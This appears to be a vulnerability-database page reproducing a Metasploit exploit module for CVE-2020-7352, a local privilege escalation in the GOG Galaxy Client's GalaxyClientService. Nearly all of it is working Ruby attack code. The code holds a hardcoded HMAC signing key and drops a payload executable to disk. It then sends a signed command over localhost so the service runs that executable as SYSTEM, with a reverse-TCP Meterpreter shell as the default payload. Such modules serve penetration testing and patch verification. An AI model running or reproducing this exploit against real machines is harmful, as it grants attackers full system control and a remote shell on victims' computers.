GOG GalaxyClientService Privilege Escalation

2020-05-18T21:09:10
ID MSF:EXPLOIT/WINDOWS/LOCAL/GOG_GALAXYCLIENTSERVICE_PRIVESC
Type metasploit
Reporter Rapid7
Modified 2020-06-15T13:48:51

Description

This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are also likely affected).

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/services'
require 'openssl'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GOG GalaxyClientService Privilege Escalation',
        'Description' => %q{
          This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed
          with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are
          also likely affected).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Joe Testa <jtesta[at]positronsecurity.com>'
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' =>
        [
          [
            'Windows (Dropper)',
            'Platform' => 'win',
            'Arch' => [ ARCH_X86, ARCH_X64 ],
            'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },
            'Type' => :dropper
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'Apr 28 2020',
        'References' =>
        [
          ['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],
          ['CVE', '2020-7352']
        ],
        'Notes' =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        }
      )
    )

    register_options(
      [
        OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),
        OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\'])
      ]
    )
  end

  def check
    log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log')
    service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe')

    return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path)
    return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path)

    log_data = read_file(log_path)
    unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data
      return CheckCode::Detected('Unable to determine version from log file')
    end

    return CheckCode::Detected('Galaxy Client version not found') unless ver_no

    version = Gem::Version.new(ver_no)

    return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13')

    CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable")
  end

  def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
    fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter'

    # The HMAC-SHA512 key for signing file_paths.
    key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f"
    key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb"
    key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c"
    key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4"
    key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd"
    key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d"

    # Start the GalaxyClientService.  It will automatically terminate after ~10
    # seconds of inactivity, so we don't need to bother shutting it down later.
    print_status('Starting GalaxyClientService...')
    ret = service_start('GalaxyClientService')
    if ret == 0
      print_status('Service started successfully.')
    elsif (ret == 1056) || (ret == 1)
      print_warning('Service already running.  If the file_path execution fails, try it again in 15 seconds or so.')
    else
      print_status("Service status unknown (return code: #{ret}).  Continuing anyway...")
    end

    print_status('Connecting to service...')

    # Create a TCP socket.
    handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
    s = handler['return']

    # Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).
    # This only affects the recv(), not connect().
    handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)

    # Set the socket address structure to localhost:9978.
    sock_addr = "\x02\x00"
    sock_addr << [9978].pack('n')
    sock_addr << Rex::Socket.addr_aton('127.0.0.1')
    sock_addr << "\x00" * 8

    # Connect to the service.  Retry up to 3 times, waiting 2 seconds in
    # between.
    connected = false
    retries = 0
    while (retries < 3) && (connected == false)
      retries += 1
      handler = client.railgun.ws2_32.connect(s, sock_addr, 16)
      if handler['GetLastError'] == 0
        connected = true
      else
        print_warning('Connection failed.  Waiting 2 seconds and trying again...')
        Rex.sleep(2)
      end
    end

    fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected

    data = build_payload(key)
    print_status('Connected to service.  Sending payload...')

    # Here, we are calling client.railgun.ws2_32.send().  However, there's a bug
    # somewhere in the railgun system such that send() is never called.  It
    # seems that some mystery code is intercepting send() instead of letting it
    # get to LibraryWrapper.method_missing() (perhaps 'send' is a special case
    # somewhere? The other ws2_32 functions work just fine...).  To work around
    # this problem, we will simply call it directly with call_function().
    send_func = client.railgun.ws2_32.functions['send']
    client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client)

    # Read the server's response.  On error, it returns nothing.
    response = "\x00" * 512
    handler = client.railgun.ws2_32.recv(s, response, response.length, 0)

    # Convert the unsigned return value to a signed value.
    ret = [handler['return'].to_i].pack('l').unpack1('l')
    if ret <= 0
      print_error("Failed to read response from service (return value from recv(): #{ret}).  This probably means the exploit failed.  :(")
    else
      print_good('Command executed successfully!')
    end

    client.railgun.ws2_32.closesocket(s)
  end

  def build_payload(key)
    working_dir = datastore['WORKING_DIR']

    header1 = "\x00\x93\x08\x04\x10\x01\x18"
    header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01"

    payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe"
    file_path = expand_path("#{datastore['PATH']}\\#{payload_name}")
    payload_data = generate_payload_exe

    print_status("Writing #{file_path} to target")
    write_file(file_path, payload_data)
    register_file_for_cleanup(file_path)

    gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12"
    gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\"  \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01"

    payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd)
    header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd
  end
end